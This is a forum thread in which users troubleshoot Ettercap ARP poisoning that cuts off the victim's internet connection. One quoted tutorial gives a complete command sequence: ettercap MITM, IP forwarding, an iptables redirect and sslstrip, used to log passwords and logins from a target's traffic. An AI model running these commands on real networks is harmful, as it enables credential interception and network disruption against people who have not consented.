Ettercap + Arp poisoning = Effectively DoS

[shinjuku]

Hey guys I would post this over at the ettercap forums, but they are already all but dead, and this question has been posed there as well.
So I am hoping that the almighty forum gurus can help me.

I'll quote a post by a user on the ettercap forums which effectively describes my problem too.

"This problem happens in both the ncurses and GTK interfaces.

I run unified sniffing in promiscuous mode. I am able to scan for hosts, to list one client on the target 1 list and the gateway on the target 2. Everything seems to go very well until I start the Mitm Arp poisoning.

At this point, I receive tons of packets from the IP in the first list, so I'm assuming it has been poisoned with no problem. The problem, as far as I can surmise is in my system. Not a single packet that my machine recieves gets forwarded through to the gateway, and thus I essentially kill the connectivity of that user to the internet.

The log at the bottom of the screen shows hundreds of these entries:

SEND L3 ERROR: xxxx byte packet (0800:06) destined to xxx.xxx.xxx.xxx was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Invalid argument)

I've tried looking into libnet and kernel iptables but I really don't want to get in over my head. Does anybody have some suggestions for me? I would really appreciate it. Thanks!"

chkpoison reveals however that poisoning has not occured, so how is it, that this effectively kills the connectivity?

Are there any solutions other than using another form of MITM attack?

[imported_onryo]

Hmmm ettercap should forward the data. Try using -u (think it was a little "u") to turn off ip_forward from ettercap and do it like this.

ettercap -T -u -q -i wlan0 -M arp /victum ip/ //
echo "1" > /proc/sys/net/ipv4/ip_forward

remember the -i wlan0 is MY interphase. You might have another.

chkpoison reveals however that poisoning has not occured,

Means just that. This does not look good. Could be a million reasons for this. Are you to far from the target. I am guessing you are not using BT4 since you have a working GTK. Is it set up right? In GTK under mitm try the one way poison.

good luck
onryo

[shinjuku]

I'm using BT4, I just used

apt-get install ettercap

(I believe it was ettercap, but I can't remember) anyway that solved the problem that comes with BT4.

The reason why I wanted to use ARP is because of SSLstrip, but after reading threads that ettercap forwards by auto I omitted the command you included. I will try ettercap with -u and add the command once again.

Thanks for the help.

Ps. Saw you mentioning using Swedish XP3, Svensk?

[imported_onryo]

Yup I am Swedish, if you want to write in Swedish you can send me a private mail here on the forums.

If you want to get SSLstrip working with ettercap I have a howto here on the forums. Also have a "get ettercap-GTK" working here on the forums. GTK does not always play nice with ubuntu using ettecap.

Ha det så bra
onryo

PS if you live in Sweden you might also know me by the name ph0t0n depending on who you hang out with. Are you L***** - Carlos?

[shinjuku]

Okay so I have tried all the tips to no luck.

I'll quote your tutorial as well;

As I sit here watching my boss surf the net in firefox (he asked me to see what I could exploit) using ettercap with the remote_brower plugin I got a little anoyed to see that some of the sites he rolled into were SSL. No big deal I was thinking.

Now I got the http sites rolling into firefox and the SSLstrip just passing password, logins and other junk into the log file.

first fixed the /etc/etter.conf
ec_uid = 0
ec_gid = 0
remote_browser = "firefox -remote openurl(h t t p://%host%url)"


Then just fired off
# echo "1" > /proc/sys/net/ipv4/ip_forward
# xhost local:root
# ettercap -T -q -i wlan0 -M arp /192.168.0.101(boss ip)/ //
# p
# remote_browser

(You can do the above ettercap in one command but it seems a little unstable)
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# python ./sslstrip.py -p -f -l 8080
What I want is the SSL sites also rolling into firefox and not just passing the passworld to the log file. I am guessing it has something to do with remote_browser not listening to SSLstrip after its done its magic on port 8080 or something along that line. Everything else works just fine.

All the best
onryo
___________

As I mentioned I've read somewhere (I believe it was actually on these forums) that if you run a double session of ipforwarding (For instance once on ettercap and then once at kernel level) it would cause problems, but it seems to be working here for you.

Could someone care to verify or explain?

I'm not asking to be spoon fed and I'm sorry if it is taken as such guys, but I'm really trying to the best of my abilities.

I'll try to learn bash after my finals are over so I can actually try to do something for myself...

[drowningsucks]

I had this problem too but I fixed it by making sure the ip forwarding was enabled.

[bobdamnit]

I have this problem too, but it effectively kills everyone on the network. I have five people on the network all hooked up through wireless, and it literally stops everyone from browsing the web.

Cant figure out a way to fix it either.

[MaXe Legend]

Did you remember to run ettercap -g as sudo or root? Else you will most likely have a few problems since I think it's using raw sockets.

[Danboy]

Did you remember to run ettercap -g as sudo or root? Else you will most likely have a few problems since I think it's using raw sockets.

I'd agree with that I remeber being advised of this when I started experimenting with ettercap. I also recall exiting the program without stopping the attack / re-ARPing the victim. this resulted in exactly the DOS scenario you're describing I realised this is yet another way an inexperienced "skiddie" can make a pest of himself.

[compaq]

SEND L3 ERROR: xxxx byte packet (0800:06) destined to xxx.xxx.xxx.xxx was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Invalid argument)

Try ifconfig eth0 mtu 1500
it worked for me